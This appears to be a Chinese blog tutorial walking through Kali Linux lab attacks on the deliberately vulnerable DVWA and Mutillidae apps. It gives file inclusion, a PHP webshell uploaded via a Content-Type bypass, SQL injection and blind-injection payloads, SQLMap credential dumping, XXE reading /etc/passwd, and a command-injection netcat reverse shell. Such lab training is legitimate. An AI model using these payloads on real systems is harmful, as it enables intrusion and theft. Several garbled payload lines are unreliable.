kali Liunx 利用漏洞注入——SQL注入

任务 1 寻找文件包含漏洞

一、相关知识与技能

 page 参数由文件名传递,然后包含在代码中。因为它,可以包含任何一个在网络中的 php  html 文件。

二、实验内容:

1. 登陆 dvwa(用户名和密码都是 admin),进入 File Inclusion 页面。

2. 它说要编辑 get 参数来测试包含的内容,所以输入 index.php 试试。

3.需要知道存在本地的文件名称,知道有个index.php 在根目录下,提交参数为../../index.php

4. 启动 apache 服务器:

service apache2 start

·

5. 利用这个文件包含漏洞,包含一下 Kali  apache 页面:

http://192.168.101.128/dvwa/vulnerabilities/fi/?page=http://192.168.101.128/index.html

任务 2 文件包含和文件上传

一、相关知识与技能

发现 WEB 应用程序会对上传的文件进行安全检查,当然,安全检查的手段是多种多样的,常见的是对后缀名的检查和Content-Type 的类型检查,本小节就是后者的情况。要绕过这种保护,需要更改浏览器为文件设置的默认Content-Type 值,如上,将application/x-php 更改为image/jpeg,因为 php 内容是不被服务器所接受的,但是 image 确是可以的。

二、实验内容:

1. 首先,在 Upload 页面的上传点上传 webshell.php 文件。

<?
system($_GET['cmd']);
echo 'Type a command: <form method="get"action="./ .. /hackable/uploads/webshell.php"><inputtype="text” name="cmd"/></form>';

  1.  使用Burp suite 

3. 在上传选项中选中 webshell.php 文件。

4. 打开 Burp suite 的拦截开关,然后点击上传,数据包就会被拦截下来。

5. 将第二个 Content-Type 中的值修改为 image/jpeg 后再放行请求包,然后你就会看到上传成功的信息。

6.上传成功后,要使用上传的 webshell.php 来对服务器执行命令。返回到 DVWA File Inclusion 页面。

7. 使用 page 参数来包含 webshell.php

8.可以看到 webshell.php 被成功地加载,并且会有一个文本框,在文本框中输入/sbin/ifconfig然后敲下回车键,就可以看到出现了文本提示信息,这代表代码被成功执行。

第6章-2_利用漏洞注入

任务 3 手动识别 SQL 注入

一、相关知识与技能

在用于形成数据库查询之前,未对输入进行验证和清理时会发生 SQLi。让假设应用程序中的服务器端代码(在 PHP 中)组成查询。

二、实验内容:

1. 将用户 ID 设置为 1,然后单击提交

  1.  在文本框中引入 1'和一个单撇号)并提交该 ID

3. 返回 DVWA  SQL Injection 页面。

4. 为了确保存在基于错误的 SQLi,尝试另一个输入:1''

5. 将执行一个非常基本的 SQLi 攻击。在文本框中引入' or '1'='1 并提交。

任务 4 基于错误的 SQL 注入

一、相关知识与技能

union 语句用于连接具有相同列数的两个查询。通过注入,几乎可以向数据库查询任何内容。

二、实验内容:

1. 在检测到 SQLi 存在后,在“User ID”框中输入任意数字,然后单击“Submit(提交)”按钮。

2. 打开 HackBar(按 F9 键),然后点击“Load”按钮加载 URL。地址栏中的 URL 现在应该出现在 HackBar 中。

3.  HackBar 中,将 id 参数的值替换为 1'order by 1--'并单击“Run”按钮,

4. 继续增加 order by 后面的值并执行请求,直到页面发生了报错。

5. 使用 union 语句提取一些信息。将 id 的值设置为 1' union select1,2--'并执行。

6. id 设置为1' unionselect@@version,current_user() -- '然后执行

7. 先需要找到用户的表。将 id 设置为

1' union select table_schema,table_name FROM information_schema.tables WHERE table_name LIKE' %user% ' -- '

提交。

8. id 设置为

1' union select column_name,1 FROM information_schema.tables WHERE table_name = ' users '-- '

任务 5 确认并利用 SQL 盲注漏洞

一、相关知识与技能

在服务器端,sql 注入和 sql 盲注是同类型的漏洞,都是因为对输入内容不检测或检查不充分导致脏数据进入了数据库中。Sql 盲注攻击可以通过查找 DBMS、使用的版本信息。接着使用特定于供应商的命令来查看用户是否具有管理权限来继续进行。如果是管理权限,就可以提取所有用户名和密码,激活远程连接,以及其他许多事情。

二、实验内容:

1. 这个表单和上面的 sql 注入表单(SQL Injection)一模一样,输入 1,可以查看id  1 的用户信息。

2. 现在输入 1' 看看会不会像 sql 注入(SQL Injection)一样报错。

3. 再输入 1'' 看一下。

4. 输入一个结果总是为假的参数试一下:输入 1' and'1'='2

5. 接着构造一个始终为真的参数:1' and '1'='1

6. 需要知道数据库的用户名,首先尝试一下这个语句:

1' and 1=char_length(current_user())and '1'='1

7. 找到 burp 中的这个请求,并发送到 Intruder 模块。

8. 通过添加攻击参数来构造有效载荷。

9. 转到有效载荷(Payloads)内容,将有效载荷类型(Payload type)设置为 Numbers

10. 将数值内容设置为 1-15,步数为 1

11. 接着转到 Intruder  Options 选项卡,清除 Grep 匹配(Grep-Match)列表,添加自己想要的回显字段,来快速查看攻击结果。

12. 开始攻击(Start attack)按钮。

13在我们来解一下用户的个符是什。第一个,我们入

1' and current_user LIKE' a%

是 sql 语句中的通配符,它可以配任符。我们这个语的意思是猜测第一个字母是不是

14.同样的,我们把该请求发送到 intruder 模块,a设为改变参数

  1. 我们的载荷列表是a-&,1-9,和所有特殊符号的集合。由于sql语句中的select查询不区分大小写,

16.从结果中我们发现第一个字母是d

17.下面维续猜测第二个字符,将输入参数改为

l' and current_user LIKE’da%

  1. 现在我们的目标是d后面的字符。

19,开始攻击!可以从结果中看到第二个字符是v

20.下面维续猜解后面的字符,在结果中,你可能会发现%的结果总为 trme,这是因为%是通配符,它可以和任意一个字符匹配到。

任务 6 使用 SQLMap 查找和利用 SQL 注入

一、相关知识与技能

SQLMap 使用 SQLi 字符串测试给定 URL 和数据中的所有输入参数,或者只测试-p 选项中的指定输入参数,并解释响应以发现是否存在漏洞。不过最好不要模糊测试所有输入参数,有哪位寻找所有可能性的注入可能会花费大量时间,并在网络中产生非常可疑的流量。一般使用 SQLMap来利用已经知道存在的注入,并且试图缩小搜索过程。可以向它提供更多可用的信息,例如存在 sql 注入的参数、DBMS 类型和其他信息。

二、实验内容:

1. 尝试任何用户名和密码,,然后单击 ViewAccount Details

2. 登录将失败,但对 URL 感兴趣。转到地址栏,将完整的 URL 复制到剪贴板。

http://192.168.122.129/mutillidae/index.php?page=user-info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details

3.在终端窗口中,输入以下命令:

sqlmap-u "http://192.168.56.11/mutillidae/index.php?page=user-info.php&

username=user&password=password&user-info-php-submit-button=View+Account+Details"-p username --curent-user --current-db --is-dba

4. 回答 Yes 以跳过其他系统,而回答 No 以则进行所有测试。

5. 一旦指定的参数被发现是存在 sql 注入的,SQLMap 将询问是否需要测试其他参数。对这个问题的回答是 No 的,然后会看到结果。

6. 如果想要获得用户名和密码,就像在前面的小节中所做的那样,需要知道具有这些信息的表的名称。在终端执行以下命令:

sqlmap-u "http://192.168.56.11/mutillidae/index.php?page=user-info.php

&username=test&password=test-Dnowasp --tables

7.Account 表看起来像是拥有想要的信息。让查看的他的字段信息:

sqlmap-u "http://192.168.56.11/mutillidae/index.php?page=user-info.php

&username=test&password=test-Dnowasp -T account --dump

  1. SQLMap还可以用于在数据和操作系统中提。如,如果数据用户是管理员权限,我们可以用--users 和 --passwords 选用户用户名码下

9.我们还可以得到一个 shell,它我发 SQL询,如下所

任务 7 利用 XML 外部实体注入

一、相关知识与技能

XML 提供了定义实体的可能性。XML 中的实体只是一个名称,它具有与之相关联的值。每次在文档中使用实体时,它都会在处理 XML 文件时被其值替换。使用不同协议(例如 file://来加载系统文件,或者 http://来加载 url),可以在没有适当安全措施的地方实现,入输入验证和 XML 解析器配置方面,可以提取敏感数据,甚至在服务器上执行命令。

二、实验内容:

1. 浏览器打开:

http://192.168.122.129/mutillidae/index.php?page=xml-validator.php2. 在 XML框中,输入

<somexml><message>HelloWorld</message>

</somexml>

然后点击 Validate XML

3.现在,让我们看看它是否正确地处理了实体标记。输入以下内容

<!DOCTYPE  person [

<!ELEMENT  person  ANY>

<!ENTITY person "Mr Bob">

]>

<somexml><message>Hello World &person;</message></somexml> 

4.这就是内部实体的使用。让我们尝试一个外部实体的使用:

<!DOCTYPE fileEntity [

<!ELEMENT fileEntity ANY>

<!ENTITY fileEntity SYSTEM"file:///etc/passwd">

[>

<somexml><message>Hello World &fileEntity;</message></somexm1>

5.我们还可以使用XEE加 web 页面在文件包含时我们可以设法服务器上传了一个 webshell。

<!D0CTYPE fileEntity [

<!ELEME fileEntity AlY>

<!ENTITY fileEntity SYSTEM "http://192.168.122.129/dwwa/hackable/uploads/wehshell .php?cnd-/shin/ifconfig"> ]>  sorexnl>ressage>Hello World &fileEntity;s/nessage></sonexml>

任务 8 检测和利用命令注入漏洞

一、相关知识与技能

 SQLi 和其他示例一样,命令注入漏洞是由于输入验证机制不佳,以及使用用户提供的数据来形成字符串,这些字符串可能将用作操作系统的命令。如果查看刚刚攻击的页面的源代码(每个 DVWA 页面右下角都有一个按钮)

二、实验内容:

1. 将看到一个自由形式的 Ping 表格。 ping 192.168.122.128

2. 注入一个非常简单的命令。提交以下代码,192.168.56.10;  uname a

3.如果去掉IP地址,仅有,uname-a?结果如下图所示

4.现在我们将在服务器上获得一个反向 shel。首先,我们必须确保服务器上拥有

我们需要的东西。提交 Is /bin/nc*。它应该返回一个完整路径的文件列表:

5.下一步是监听 Kali Linux 中的连接。打开终端,运行以下命令:nc -lp 1691 -v

6然后我们在浏览中提交下内容nc.traditional -e/bin/bash 192.168.56.10 1691 &

7.我们将看到如何在监听 Kali 终端接收连接。在这里,我们可以在服务器上执行命令,如下图所示:

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值